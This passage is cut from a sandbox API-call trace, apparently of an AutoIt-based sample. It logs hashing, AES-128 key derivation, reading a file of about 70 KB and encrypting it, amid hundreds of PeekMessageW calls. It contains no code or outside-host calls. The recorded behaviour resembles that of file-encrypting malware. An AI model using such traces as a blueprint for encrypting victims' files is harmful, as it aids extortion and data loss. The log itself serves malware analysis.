lpMsg=0xe8f3dfe760) returned 0 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.012] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.012] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.012] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b150, dwDataLen=0x20, dwFlags=0x1) returned 1 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.012] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.012] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.012] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.012] CryptDeriveKey (in: hProv=0xe8f4199650, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.013] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0030.013] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.013] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.013] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.013] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.014] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.014] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.015] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0030.015] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0030.016] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x1238, lpOverlapped=0x0) returned 1 [0030.016] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0030.019] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.019] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.019] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.019] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0030.019] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.019] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.019] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0030.019] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.019] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0030.019] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.019] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.019] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.019] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0030.019] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.020] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064c40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.020] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.020] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.020] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.020] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.020] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.021] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.021] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x11238, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x11240) returned 1 [0030.021] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.021] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.021] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.021] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.021] CharLowerBuffW (in: lpsz="byte[70209]", cchLength=0xb | out: lpsz="byte[70209]") returned 0xb [0030.021] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.023] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.023] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.023] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.023] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43ad6f0*, pdwDataLen=0xe8f3dfdf68*=0x11238, dwBufLen=0x11240 | out: pbData=0xe8f43ad6f0*, pdwDataLen=0xe8f3dfdf68*=0x11240) returned 1 [0030.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.024] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.024] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.024] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.024] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.024] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.024] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.024] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.024] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.024] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.024] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.024] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0030.024] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.024] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.024] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.028] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.028] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.028] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.029] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0030.029] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.030] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0030.030] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.030] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.030] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.030] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.030] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.030] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.030] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.030] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.030] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.030] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.030] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.031] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 